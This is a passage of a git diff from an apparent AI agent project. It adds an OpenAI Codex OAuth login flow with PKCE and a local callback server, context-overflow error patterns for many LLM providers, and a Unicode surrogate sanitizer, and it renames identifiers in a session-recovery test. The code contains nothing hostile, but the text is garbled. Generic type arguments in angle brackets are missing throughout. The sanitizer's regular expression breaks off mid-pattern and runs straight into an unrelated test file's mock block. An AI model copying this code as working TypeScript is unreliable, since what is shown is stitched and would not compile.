= new URL(`http://${hostForUrl}:${CALLBACK_PORT}`); + url.pathname = CALLBACK_PATH; + return url.toString(); +} + +function createState(randomBytes: typeof import("node:crypto").randomBytes): string { + return randomBytes(16).toString("hex"); +} + +function waitForManualPromptFallback(): Promise { + return new Promise((resolve) => { + const timeout = setTimeout(() => resolve(null), MANUAL_PROMPT_FALLBACK_MS); + timeout.unref?.(); + }); +} + +function parseAuthorizationInput(input: string): { code?: string; state?: string } { + const value = input.trim(); + if (!value) { + return {}; + } + + try { + const url = new URL(value); + return { + code: url.searchParams.get("code") ?? undefined, + state: url.searchParams.get("state") ?? undefined, + }; + } catch { + // not a URL + } + + if (value.includes("#")) { + const [code, state] = value.split("#", 2); + return { code, state }; + } + + if (value.includes("code=")) { + const params = new URLSearchParams(value); + return { + code: params.get("code") ?? undefined, + state: params.get("state") ?? undefined, + }; + } + + return { code: value }; +} + +async function promptForAuthorizationCode( + onPrompt: (prompt: OAuthPrompt) => Promise, + state: string, +): Promise { + const input = await onPrompt({ + message: "Paste the authorization code (or full redirect URL):", + }); + const parsed = parseAuthorizationInput(input); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + return parsed.code; +} + +function formatMissingTokenResponseFields(json: TokenResponseJson): string { + const missing: string[] = []; + if (!json.access_token) { + missing.push("access_token"); + } + if (!json.refresh_token) { + missing.push("refresh_token"); + } + if (typeof json.expires_in !== "number") { + missing.push("expires_in"); + } + return missing.join(", "); +} + +async function exchangeAuthorizationCode( + code: string, + verifier: string, + redirectUri: string = REDIRECT_URI, +): Promise { + const response = await fetch(TOKEN_URL, { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: new URLSearchParams({ + grant_type: "authorization_code", + client_id: CLIENT_ID, + code, + code_verifier: verifier, + redirect_uri: redirectUri, + }), + }); + + if (!response.ok) { + const text = await response.text().catch(() => ""); + return { + type: "failed", + status: response.status, + message: `OpenAI Codex token exchange failed (${response.status}): ${text || response.statusText}`, + }; + } + + const json = (await response.json()) as TokenResponseJson; + + if (!json.access_token || !json.refresh_token || typeof json.expires_in !== "number") { + return { + type: "failed", + message: `OpenAI Codex token exchange response missing fields: ${formatMissingTokenResponseFields(json)}`, + }; + } + + return { + type: "success", + access: json.access_token, + refresh: json.refresh_token, + expires: Date.now() + json.expires_in * 1000, + }; +} + +async function refreshAccessToken(refreshToken: string): Promise { + try { + const response = await fetch(TOKEN_URL, { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: new URLSearchParams({ + grant_type: "refresh_token", + refresh_token: refreshToken, + client_id: CLIENT_ID, + }), + }); + + if (!response.ok) { + const text = await response.text().catch(() => ""); + return { + type: "failed", + status: response.status, + message: `OpenAI Codex token refresh failed (${response.status}): ${text || response.statusText}`, + }; + } + + const json = (await response.json()) as TokenResponseJson; + + if (!json.access_token || !json.refresh_token || typeof json.expires_in !== "number") { + return { + type: "failed", + message: `OpenAI Codex token refresh response missing fields: ${formatMissingTokenResponseFields(json)}`, + }; + } + + return { + type: "success", + access: json.access_token, + refresh: json.refresh_token, + expires: Date.now() + json.expires_in * 1000, + }; + } catch (error) { + return { + type: "failed", + message: `OpenAI Codex token refresh error: ${error instanceof Error ? error.message : String(error)}`, + }; + } +} + +async function createAuthorizationFlow( + originator: string = "openclaw", +): Promise<{ verifier: string; redirectUri: string; state: string; url: string }> { + const [{ verifier, challenge }, runtime] = await Promise.all([ + generatePKCE(), + loadNodeOAuthRuntime(), + ]); + const state = createState(runtime.randomBytes); + + const url = new URL(AUTHORIZE_URL); + url.searchParams.set("response_type", "code"); + url.searchParams.set("client_id", CLIENT_ID); + const redirectUri = REDIRECT_URI; + url.searchParams.set("redirect_uri", redirectUri); + url.searchParams.set("scope", SCOPE); + url.searchParams.set("code_challenge", challenge); + url.searchParams.set("code_challenge_method", "S256"); + url.searchParams.set("state", state); + url.searchParams.set("id_token_add_organizations", "true"); + url.searchParams.set("codex_cli_simplified_flow", "true"); + url.searchParams.set("originator", originator); + + return { verifier, redirectUri, state, url: url.toString() }; +} + +type OAuthServerInfo = { + close: () => void; + cancelWait: () => void; + waitForCode: () => Promise<{ code: string } | null>; +}; + +async function startLocalOAuthServer(state: string): Promise { + const { http } = await loadNodeOAuthRuntime(); + let settleWait: ((value: { code: string } | null) => void) | undefined; + const waitForCodePromise = new Promise<{ code: string } | null>((resolve) => { + let settled = false; + settleWait = (value) => { + if (settled) { + return; + } + settled = true; + resolve(value); + }; + }); + + const server = http.createServer((req, res) => { + try { + const url = new URL(req.url || "", "http://localhost"); + if (url.pathname !== "/auth/callback") { + res.statusCode = 404; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Callback route not found.")); + return; + } + if (url.searchParams.get("state") !== state) { + res.statusCode = 400; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("State mismatch.")); + return; + } + const code = url.searchParams.get("code"); + if (!code) { + res.statusCode = 400; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Missing authorization code.")); + return; + } + res.statusCode = 200; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthSuccessHtml("OpenAI authentication completed. You can close this window.")); + settleWait?.({ code }); + } catch { + res.statusCode = 500; + res.setHeader("Content-Type", "text/html; charset=utf-8"); + res.end(oauthErrorHtml("Internal error while processing OAuth callback.")); + } + }); + + return new Promise((resolve) => { + server + .listen(CALLBACK_PORT, CALLBACK_HOST, () => { + resolve({ + close: () => server.close(), + cancelWait: () => { + settleWait?.(null); + }, + waitForCode: () => waitForCodePromise, + }); + }) + .on("error", () => { + settleWait?.(null); + resolve({ + close: () => { + try { + server.close(); + } catch { + // ignore + } + }, + cancelWait: () => {}, + waitForCode: async () => null, + }); + }); + }); +} + +function getAccountId(accessToken: string): string | null { + return resolveOpenAICodexAccountId(accessToken); +} + +/** + * Login with OpenAI Codex OAuth + * + * @param options.onAuth - Called with URL and instructions when auth starts + * @param options.onPrompt - Called to prompt user for manual code paste (fallback if no onManualCodeInput) + * @param options.onProgress - Optional progress messages + * @param options.onManualCodeInput - Optional promise that resolves with user-pasted code. + * Races with browser callback - whichever completes first wins. + * Useful for showing paste input immediately alongside browser flow. + * @param options.originator - OAuth originator parameter (defaults to "openclaw") + */ +export async function loginOpenAICodex(options: { + onAuth: (info: { url: string; instructions?: string }) => void; + onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; + originator?: string; +}): Promise { + const { verifier, redirectUri, state, url } = await createAuthorizationFlow(options.originator); + const server = await startLocalOAuthServer(state); + + options.onAuth({ url, instructions: "A browser window should open. Complete login to finish." }); + + let code: string | undefined; + try { + if (options.onManualCodeInput) { + // Race between browser callback and manual input + let manualCode: string | undefined; + let manualError: Error | undefined; + const manualPromise = options + .onManualCodeInput() + .then((input) => { + manualCode = input; + server.cancelWait(); + }) + .catch((err) => { + manualError = err instanceof Error ? err : new Error(String(err)); + server.cancelWait(); + }); + + const result = await server.waitForCode(); + + // If manual input was cancelled, throw that error + if (manualError) { + throw manualError; + } + + if (result?.code) { + // Browser callback won + code = result.code; + } else if (manualCode) { + // Manual input won (or callback timed out and user had entered code) + const parsed = parseAuthorizationInput(manualCode); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + code = parsed.code; + } + + // If still no code, wait for manual promise to complete and try that + if (!code) { + await manualPromise; + if (manualError) { + throw manualError; + } + if (manualCode) { + const parsed = parseAuthorizationInput(manualCode); + if (parsed.state && parsed.state !== state) { + throw new Error("State mismatch"); + } + code = parsed.code; + } + } + } else { + const callbackPromise = server.waitForCode(); + const result = await Promise.race([callbackPromise, waitForManualPromptFallback()]); + if (result?.code) { + code = result.code; + } else { + const promptCodePromise = promptForAuthorizationCode(options.onPrompt, state).then( + (promptCode) => { + server.cancelWait(); + return promptCode; + }, + ); + code = await Promise.race([ + callbackPromise.then((callback) => callback?.code), + promptCodePromise, + ]); + } + } + + // Fallback to onPrompt if still no code + if (!code) { + code = await promptForAuthorizationCode(options.onPrompt, state); + } + + if (!code) { + throw new Error("Missing authorization code"); + } + + const tokenResult = await exchangeAuthorizationCode(code, verifier, redirectUri); + if (tokenResult.type !== "success") { + throw new Error(tokenResult.message); + } + + const accountId = getAccountId(tokenResult.access); + if (!accountId) { + throw new Error("Failed to extract accountId from token"); + } + + return { + access: tokenResult.access, + refresh: tokenResult.refresh, + expires: tokenResult.expires, + accountId, + }; + } finally { + server.close(); + } +} + +/** + * Refresh OpenAI Codex OAuth token + */ +export async function refreshOpenAICodexToken(refreshToken: string): Promise { + const result = await refreshAccessToken(refreshToken); + if (result.type !== "success") { + throw new Error(result.message); + } + + const accountId = getAccountId(result.access); + if (!accountId) { + throw new Error("Failed to extract accountId from token"); + } + + return { + access: result.access, + refresh: result.refresh, + expires: result.expires, + accountId, + }; +} + +export const openaiCodexOAuthProvider: OAuthProviderInterface = { + id: "openai-codex", + name: "ChatGPT Plus/Pro (Codex Subscription)", + usesCallbackServer: true, + + async login(callbacks: OAuthLoginCallbacks): Promise { + return loginOpenAICodex({ + onAuth: callbacks.onAuth, + onPrompt: callbacks.onPrompt, + onProgress: callbacks.onProgress, + onManualCodeInput: callbacks.onManualCodeInput, + }); + }, + + async refreshToken(credentials: OAuthCredentials): Promise { + return refreshOpenAICodexToken(credentials.refresh); + }, + + getApiKey(credentials: OAuthCredentials): string { + return credentials.access; + }, +}; + +export const testing = { + callbackHost: CALLBACK_HOST, + createAuthorizationFlow, + exchangeAuthorizationCode, + refreshAccessToken, + resolveCallbackHost, + resolveRedirectUri, +}; diff --git a/src/llm/utils/oauth/pkce.test.ts b/src/llm/utils/oauth/pkce.test.ts new file mode 100644 index 00000000000..046fdec74cd --- /dev/null +++ b/src/llm/utils/oauth/pkce.test.ts @@ -0,0 +1,15 @@ +import { describe, expect, it } from "vitest"; +import { generateOAuthState, generatePKCE } from "./pkce.js"; + +describe("OAuth PKCE utilities", () => { + it("generates OAuth state independently from the PKCE verifier", async () => { + const { verifier } = await generatePKCE(); + const state = generateOAuthState(); + const nextState = generateOAuthState(); + + expect(state).toHaveLength(43); + expect(state).not.toBe(verifier); + expect(nextState).toHaveLength(43); + expect(nextState).not.toBe(state); + }); +}); diff --git a/src/llm/utils/oauth/pkce.ts b/src/llm/utils/oauth/pkce.ts new file mode 100644 index 00000000000..c2b0f5c1f09 --- /dev/null +++ b/src/llm/utils/oauth/pkce.ts @@ -0,0 +1,40 @@ +/** + * PKCE utilities using Web Crypto API. + * Works in both Node.js 20+ and browsers. + */ + +/** + * Encode bytes as base64url string. + */ +function base64urlEncode(bytes: Uint8Array): string { + let binary = ""; + for (const byte of bytes) { + binary += String.fromCharCode(byte); + } + return btoa(binary).replace(/\+/g, "-").replace(/\//g, "_").replace(/[=]/g, ""); +} + +/** + * Generate PKCE code verifier and challenge. + * Uses Web Crypto API for cross-platform compatibility. + */ +export async function generatePKCE(): Promise<{ verifier: string; challenge: string }> { + // Generate random verifier + const verifierBytes = new Uint8Array(32); + crypto.getRandomValues(verifierBytes); + const verifier = base64urlEncode(verifierBytes); + + // Compute SHA-256 challenge + const encoder = new TextEncoder(); + const data = encoder.encode(verifier); + const hashBuffer = await crypto.subtle.digest("SHA-256", data); + const challenge = base64urlEncode(new Uint8Array(hashBuffer)); + + return { verifier, challenge }; +} + +export function generateOAuthState(): string { + const stateBytes = new Uint8Array(32); + crypto.getRandomValues(stateBytes); + return base64urlEncode(stateBytes); +} diff --git a/src/llm/utils/oauth/types.ts b/src/llm/utils/oauth/types.ts new file mode 100644 index 00000000000..68511f52945 --- /dev/null +++ b/src/llm/utils/oauth/types.ts @@ -0,0 +1,71 @@ +import type { Model } from "../../types.js"; + +export type OAuthCredentials = { + refresh: string; + access: string; + expires: number; + [key: string]: unknown; +}; + +export type OAuthProviderId = string; + +/** @deprecated Use OAuthProviderId instead */ +export type OAuthProvider = OAuthProviderId; + +export type OAuthPrompt = { + message: string; + placeholder?: string; + allowEmpty?: boolean; +}; + +export type OAuthAuthInfo = { + url: string; + instructions?: string; +}; + +export type OAuthSelectOption = { + id: string; + label: string; +}; + +export type OAuthSelectPrompt = { + message: string; + options: OAuthSelectOption[]; +}; + +export interface OAuthLoginCallbacks { + onAuth: (info: OAuthAuthInfo) => void; + onPrompt: (prompt: OAuthPrompt) => Promise; + onProgress?: (message: string) => void; + onManualCodeInput?: () => Promise; + /** Show an interactive selector and return the selected option id, or undefined on cancel. */ + onSelect?: (prompt: OAuthSelectPrompt) => Promise; + signal?: AbortSignal; +} + +export interface OAuthProviderInterface { + readonly id: OAuthProviderId; + readonly name: string; + + /** Run the login flow, return credentials to persist */ + login(callbacks: OAuthLoginCallbacks): Promise; + + /** Whether login uses a local callback server and supports manual code input. */ + usesCallbackServer?: boolean; + + /** Refresh expired credentials, return updated credentials to persist */ + refreshToken(credentials: OAuthCredentials): Promise; + + /** Convert credentials to API key string for the provider */ + getApiKey(credentials: OAuthCredentials): string; + + /** Optional: modify models for this provider (e.g., update baseUrl) */ + modifyModels?(models: Model[], credentials: OAuthCredentials): Model[]; +} + +/** @deprecated Use OAuthProviderInterface instead */ +export interface OAuthProviderInfo { + id: OAuthProviderId; + name: string; + available: boolean; +} diff --git a/src/llm/utils/overflow.ts b/src/llm/utils/overflow.ts new file mode 100644 index 00000000000..7ada96da7e8 --- /dev/null +++ b/src/llm/utils/overflow.ts @@ -0,0 +1,158 @@ +import type { AssistantMessage } from "../types.js"; + +/** + * Regex patterns to detect context overflow errors from different providers. + * + * These patterns match error messages returned when the input exceeds + * the model's context window. + * + * Provider-specific patterns (with example error messages): + * + * - Anthropic: "prompt is too long: 213462 tokens > 200000 maximum" + * - Anthropic: "413 {\"error\":{\"type\":\"request_too_large\",\"message\":\"Request exceeds the maximum size\"}}" + * - OpenAI: "Your input exceeds the context window of this model" + * - OpenAI/LiteLLM: "Requested token count exceeds the model's maximum context length of 131072 tokens" + * - Google: "The input token count (1196265) exceeds the maximum number of tokens allowed (1048575)" + * - xAI: "This model's maximum prompt length is 131072 but the request contains 537812 tokens" + * - Groq: "Please reduce the length of the messages or completion" + * - OpenRouter: "This endpoint's maximum context length is X tokens. However, you requested about Y tokens" + * - Together AI: "The input (X tokens) is longer than the model's context length (Y tokens)." + * - llama.cpp: "the request exceeds the available context size, try increasing it" + * - LM Studio: "tokens to keep from the initial prompt is greater than the context length" + * - GitHub Copilot: "prompt token count of X exceeds the limit of Y" + * - MiniMax: "invalid params, context window exceeds limit" + * - Kimi For Coding: "Your request exceeded model token limit: X (requested: Y)" + * - Cerebras: "400/413 status code (no body)" + * - Mistral: "Prompt contains X tokens ... too large for model with Y maximum context length" + * - z.ai: Does NOT error, accepts overflow silently - handled via usage.input > contextWindow + * - Xiaomi MiMo: Truncates input to fill contextWindow exactly, then returns finish_reason "length" + * with output=0 (no room left to generate). Detected via stopReason "length" + zero output + + * input filling the context window. + * - Ollama: Some deployments truncate silently, others return errors like "prompt too long; exceeded max context length by X tokens" + */ +const OVERFLOW_PATTERNS = [ + /prompt is too long/i, // Anthropic token overflow + /request_too_large/i, // Anthropic request byte-size overflow (HTTP 413) + /input is too long for requested model/i, // Amazon Bedrock + /exceeds the context window/i, // OpenAI (Completions & Responses API) + /exceeds (?:the )?(?:model'?s )?maximum context length of [\d,]+ tokens?/i, // OpenAI-compatible proxies (LiteLLM) + /input token count.*exceeds the maximum/i, // Google (Gemini) + /maximum prompt length is \d+/i, // xAI (Grok) + /reduce the length of the messages/i, // Groq + /maximum context length is \d+ tokens/i, // OpenRouter (all backends) + /input \(\d+ tokens\) is longer than the model'?s context length \(\d+ tokens\)/i, // Together AI + /exceeds the limit of \d+/i, // GitHub Copilot + /exceeds the available context size/i, // llama.cpp server + /greater than the context length/i, // LM Studio + /context window exceeds limit/i, // MiniMax + /exceeded model token limit/i, // Kimi For Coding + /too large for model with \d+ maximum context length/i, // Mistral + /model_context_window_exceeded/i, // z.ai non-standard finish_reason surfaced as error text + /prompt too long; exceeded (?:max )?context length/i, // Ollama explicit overflow error + /context[_ ]length[_ ]exceeded/i, // Generic fallback + /too many tokens/i, // Generic fallback + /token limit exceeded/i, // Generic fallback + /^4(?:00|13)\s*(?:status code)?\s*\(no body\)/i, // Cerebras: 400/413 with no body +]; + +/** + * Patterns that indicate non-overflow errors (e.g. rate limiting, server errors). + * Error messages matching unknown of these are excluded from overflow detection + * even if they also match an OVERFLOW_PATTERN. + * + * Example: Bedrock formats throttling errors as "ThrottlingException: Too many tokens, + * please wait before trying again." which would match the /too many tokens/i overflow + * pattern without this exclusion. + */ +const NON_OVERFLOW_PATTERNS = [ + /^(Throttling error|Service unavailable):/i, // AWS Bedrock non-overflow errors (human-readable prefixes from formatBedrockError) + /rate limit/i, // Generic rate limiting + /too many requests/i, // Generic HTTP 429 style +]; + +/** + * Check if an assistant message represents a context overflow error. + * + * This handles two cases: + * 1. Error-based overflow: Most providers return stopReason "error" with a + * specific error message pattern. + * 2. Silent overflow: Some providers accept overflow requests and return + * successfully. For these, we check if usage.input exceeds the context window. + * + * ## Reliability by Provider + * + * **Reliable detection (returns error with detectable message):** + * - Anthropic: "prompt is too long: X tokens > Y maximum" or "request_too_large" + * - OpenAI (Completions & Responses): "exceeds the context window" or "exceeds the model's maximum context length of X tokens" + * - Google Gemini: "input token count exceeds the maximum" + * - xAI (Grok): "maximum prompt length is X but request contains Y" + * - Groq: "reduce the length of the messages" + * - Cerebras: 400/413 status code (no body) + * - Mistral: "Prompt contains X tokens ... too large for model with Y maximum context length" + * - OpenRouter (all backends): "maximum context length is X tokens" + * - Together AI: "The input (X tokens) is longer than the model's context length (Y tokens)." + * - llama.cpp: "exceeds the available context size" + * - LM Studio: "greater than the context length" + * - Kimi For Coding: "exceeded model token limit: X (requested: Y)" + * + * **Unreliable detection:** + * - z.ai: Sometimes accepts overflow silently (detectable via usage.input > contextWindow), + * sometimes returns rate limit errors. Pass contextWindow param to detect silent overflow. + * - Xiaomi MiMo: Truncates input to fit contextWindow then returns stopReason "length" with + * output=0. Pass contextWindow param to detect via the "filled context + zero output" signal. + * - Ollama: May truncate input silently for some setups, but may also return explicit + * overflow errors that match the patterns above. Silent truncation still cannot be + * detected here because we do not know the expected token count. + * + * ## Custom Providers + * + * If you've added custom models via settings.json, this function may not detect + * overflow errors from those providers. To add support: + * + * 1. Send a request that exceeds the model's context window + * 2. Check the errorMessage in the response + * 3. Create a regex pattern that matches the error + * 4. The pattern should be added to OVERFLOW_PATTERNS in this file, or + * check the errorMessage yourself before calling this function + * + * @param message - The assistant message to check + * @param contextWindow - Optional context window size for detecting silent overflow (z.ai) + * @returns true if the message indicates a context overflow + */ +export function isContextOverflow(message: AssistantMessage, contextWindow?: number): boolean { + // Case 1: Check error message patterns + if (message.stopReason === "error" && message.errorMessage) { + // Skip messages matching known non-overflow patterns (e.g. throttling / rate-limit) + const isNonOverflow = NON_OVERFLOW_PATTERNS.some((p) => p.test(message.errorMessage!)); + if (!isNonOverflow && OVERFLOW_PATTERNS.some((p) => p.test(message.errorMessage!))) { + return true; + } + } + + // Case 2: Silent overflow (z.ai style) - successful but usage exceeds context + if (contextWindow && message.stopReason === "stop") { + const inputTokens = message.usage.input + message.usage.cacheRead; + if (inputTokens > contextWindow) { + return true; + } + } + + // Case 3: Length-stop overflow (Xiaomi MiMo style) - server truncates oversized input + // to fit the context window, leaving no room for output. Returns stopReason "length" + // with output=0 and input+cacheRead filling the context window. + if (contextWindow && message.stopReason === "length" && message.usage.output === 0) { + const inputTokens = message.usage.input + message.usage.cacheRead; + if (inputTokens >= contextWindow * 0.99) { + return true; + } + } + + return false; +} + +/** + * Get the overflow patterns for testing purposes. + */ +export function getOverflowPatterns(): RegExp[] { + return [...OVERFLOW_PATTERNS]; +} diff --git a/src/llm/utils/sanitize-unicode.ts b/src/llm/utils/sanitize-unicode.ts new file mode 100644 index 00000000000..2ca8a252c89 --- /dev/null +++ b/src/llm/utils/sanitize-unicode.ts @@ -0,0 +1,28 @@ +/** + * Removes unpaired Unicode surrogate characters from a string. + * + * Unpaired surrogates (high surrogates 0xD800-0xDBFF without matching low surrogates 0xDC00-0xDFFF, + * or vice versa) cause JSON serialization errors in many API providers. + * + * Valid emoji and other characters outside the Basic Multilingual Plane use properly paired + * surrogates and will NOT be affected by this function. + * + * @param text - The text to sanitize + * @returns The sanitized text with unpaired surrogates removed + * + * @example + * // Valid emoji (properly paired surrogates) are preserved + * sanitizeSurrogates("Hello 🙈 World") // => "Hello 🙈 World" + * + * // Unpaired high surrogate is removed + * const unpaired = String.fromCharCode(0xD83D); // high surrogate without low + * sanitizeSurrogates(`Text ${unpaired} here`) // => "Text here" + */ +export function sanitizeSurrogates(text: string): string { + // Replace unpaired high surrogates (0xD800-0xDBFF not followed by low surrogate) + // Replace unpaired low surrogates (0xDC00-0xDFFF not preceded by high surrogate) + return text.replace( + /[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(? ({ - abortEmbeddedPiRun: vi.fn(), - forceClearEmbeddedPiRun: vi.fn(), - isEmbeddedPiRunActive: vi.fn(), - isEmbeddedPiRunHandleActive: vi.fn(), + abortEmbeddedAgentRun: vi.fn(), + forceClearEmbeddedAgentRun: vi.fn(), + isEmbeddedAgentRunActive: vi.fn(), + isEmbeddedAgentRunHandleActive: vi.fn(), getCommandLaneSnapshot: vi.fn(), resetCommandLane: vi.fn(), resolveActiveEmbeddedRunSessionId: vi.fn(), @@ -15,7 +15,7 @@ const mocks = vi.hoisted(() => ({ resolveActiveEmbeddedRunHandleSessionId: vi.fn(), resolveActiveEmbeddedRunHandleSessionIdBySessionFile: vi.fn(), resolveEmbeddedSessionLane: vi.fn((key: string) => `session:${key}`), - waitForEmbeddedPiRunEnd: vi.fn(), + waitForEmbeddedAgentRunEnd: vi.fn(), getDiagnosticSessionActivitySnapshot: vi.fn(), diag: { debug: vi.fn(), @@ -23,38 +23,38 @@ const mocks = vi.hoisted(() => ({ }, })); -vi.mock("../agents/pi-embedded-runner/runs.js", () => ({ - abortAndDrainEmbeddedPiRun: async (params: { +vi.mock("../agents/embedded-agent-runner/runs.js", () => ({ + abortAndDrainEmbeddedAgentRun: async (params: { sessionId: string; sessionKey?: string; settleMs?: number; forceClear?: boolean; reason?: string; }) => { - const aborted = mocks.abortEmbeddedPiRun(params.sessionId); + const aborted = mocks.abortEmbeddedAgentRun(params.sessionId); const drained = aborted - ? await mocks.waitForEmbeddedPiRunEnd(params.sessionId, params.settleMs) + ? await mocks.waitForEmbeddedAgentRunEnd(params.sessionId, params.settleMs) : false; const forceCleared = params.forceClear === true && (!aborted || !drained) - ? mocks.forceClearEmbeddedPiRun(params.sessionId, params.sessionKey, params.reason) + ? mocks.forceClearEmbeddedAgentRun(params.sessionId, params.sessionKey, params.reason) : false; return { aborted, drained, forceCleared }; }, - abortEmbeddedPiRun: mocks.abortEmbeddedPiRun, - forceClearEmbeddedPiRun: mocks.forceClearEmbeddedPiRun, - isEmbeddedPiRunActive: mocks.isEmbeddedPiRunActive, - isEmbeddedPiRunHandleActive: mocks.isEmbeddedPiRunHandleActive, + abortEmbeddedAgentRun: mocks.abortEmbeddedAgentRun, + forceClearEmbeddedAgentRun: mocks.forceClearEmbeddedAgentRun, + isEmbeddedAgentRunActive: mocks.isEmbeddedAgentRunActive, + isEmbeddedAgentRunHandleActive: mocks.isEmbeddedAgentRunHandleActive, resolveActiveEmbeddedRunSessionId: mocks.resolveActiveEmbeddedRunSessionId, resolveActiveEmbeddedRunSessionIdBySessionFile: mocks.resolveActiveEmbeddedRunSessionIdBySessionFile, resolveActiveEmbeddedRunHandleSessionId: mocks.resolveActiveEmbeddedRunHandleSessionId, resolveActiveEmbeddedRunHandleSessionIdBySessionFile: mocks.resolveActiveEmbeddedRunHandleSessionIdBySessionFile, - waitForEmbeddedPiRunEnd: mocks.waitForEmbeddedPiRunEnd, + waitForEmbeddedAgentRunEnd: mocks.waitForEmbeddedAgentRunEnd, })); -vi.mock("../agents/pi-embedded-runner/lanes.js", () => ({ +vi.mock("../agents/embedded-agent-runner/lanes.js", () => ({ resolveEmbeddedSessionLane: mocks.resolveEmbeddedSessionLane, })); @@ -78,10 +78,10 @@ import { function resetMocks() { testing.resetRecoveriesInFlight(); - mocks.abortEmbeddedPiRun.mockReset(); - mocks.forceClearEmbeddedPiRun.mockReset(); - mocks.isEmbeddedPiRunActive.mockReset(); - mocks.isEmbeddedPiRunHandleActive.mockReset(); + mocks.abortEmbeddedAgentRun.mockReset(); + mocks.forceClearEmbeddedAgentRun.mockReset(); + mocks.isEmbeddedAgentRunActive.mockReset(); + mocks.isEmbeddedAgentRunHandleActive.mockReset(); mocks.getCommandLaneSnapshot.mockReset(); mocks.getCommandLaneSnapshot.mockReturnValue({ lane: "session:agent:main:main", @@ -97,10 +97,8 @@ function resetMocks() { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReset(); mocks.resolveActiveEmbeddedRunHandleSessionIdBySessionFile.mockReset(); mocks.resolveEmbeddedSessionLane.mockClear(); - mocks.waitForEmbeddedPiRunEnd.mockReset(); + mocks.waitForEmbeddedAgentRunEnd.mockReset(); mocks.getDiagnosticSessionActivitySnapshot.mockReset(); - // Default: no progress signal, so the staleness gate stays off unless a test - // opts in by returning a stale lastProgressAgeMs. mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({}); mocks.diag.debug.mockReset(); mocks.diag.warn.mockReset(); @@ -128,9 +126,9 @@ describe("stuck session recovery", () => { queueDepth: 1, }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(mocks.waitForEmbeddedPiRunEnd).not.toHaveBeenCalled(); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(mocks.waitForEmbeddedAgentRunEnd).not.toHaveBeenCalled(); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); expect(warnLogMessages()).toEqual([ "stuck session recovery skipped: sessionId=session-1 sessionKey=agent:main:main age=180s queueDepth=1 activeSessionId=session-1", @@ -156,7 +154,7 @@ describe("stuck session recovery", () => { reason: "active_embedded_run", activeSessionId: "session-file-run", }); - expect(mocks.abortEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); }); @@ -165,8 +163,8 @@ describe("stuck session recovery", () => { mocks.getDiagnosticSessionActivitySnapshot.mockReturnValue({ lastProgressAgeMs: 10 * 60_000, }); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); const outcome = await recoverStuckDiagnosticSession({ sessionId: "session-1", @@ -175,15 +173,14 @@ describe("stuck session recovery", () => { queueDepth: 1, }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("session-1"); + expect(mocks.abortEmbeddedAgentRun).toHaveBeenCalledWith("session-1"); expect(outcome.status).toBe("aborted"); expect(warnLogMessages().some((m) => m.includes("reclaiming stale active run"))).toBe(true); }); - it("aborts an active embedded run when active abort recovery is enabled", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("session-1"); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); await recoverStuckDiagnosticSession({ sessionId: "session-1", @@ -192,16 +189,16 @@ describe("stuck session recovery", () => { allowActiveAbort: true, }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("session-1"); - expect(mocks.waitForEmbeddedPiRunEnd).toHaveBeenCalledWith("session-1", 15_000); - expect(mocks.forceClearEmbeddedPiRun).not.toHaveBeenCalled(); + expect(mocks.abortEmbeddedAgentRun).toHaveBeenCalledWith("session-1"); + expect(mocks.waitForEmbeddedAgentRunEnd).toHaveBeenCalledWith("session-1", 15_000); + expect(mocks.forceClearEmbeddedAgentRun).not.toHaveBeenCalled(); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); }); it("returns an abort outcome for a stale tool call on an active embedded run", async () => { mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("session-tool"); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + mocks.abortEmbeddedAgentRun.mockReturnValue(true); + mocks.waitForEmbeddedAgentRunEnd.mockResolvedValue(true); const outcome = await recoverStuckDiagnosticSession({ sessionId: "session-tool", @@ -223,8 +220,8 @@ describe("stuck session recovery", () => { forceCleared: false, released: 0, }); - expect(mocks.abortEmbeddedPiRun).toHaveBeenCalledWith("session-tool"); - expect(mocks.waitForEmbeddedPiRunEnd).toHaveBeenCalledWith("session-tool", 15_000); + expect(mocks.abortEmbeddedAgentRun).toHaveBeenCalledWith("session-tool"); + expect(mocks.waitForEmbeddedAgentRunEnd).toHaveBeenCalledWith("session-tool", 15_000); expect(mocks.resetCommandLane).not.toHaveBeenCalled(); }); @@ -250,8 +247,8 @@ describe("stuck session recovery", () => { }) + "\n", ); mocks.resolveActiveEmbeddedRunHandleSessionId.mockReturnValue("run-456"); - mocks.abortEmbeddedPiRun.mockReturnValue(true); - mocks.waitForEmbeddedPiRunEnd.mockResolvedValue(true); + 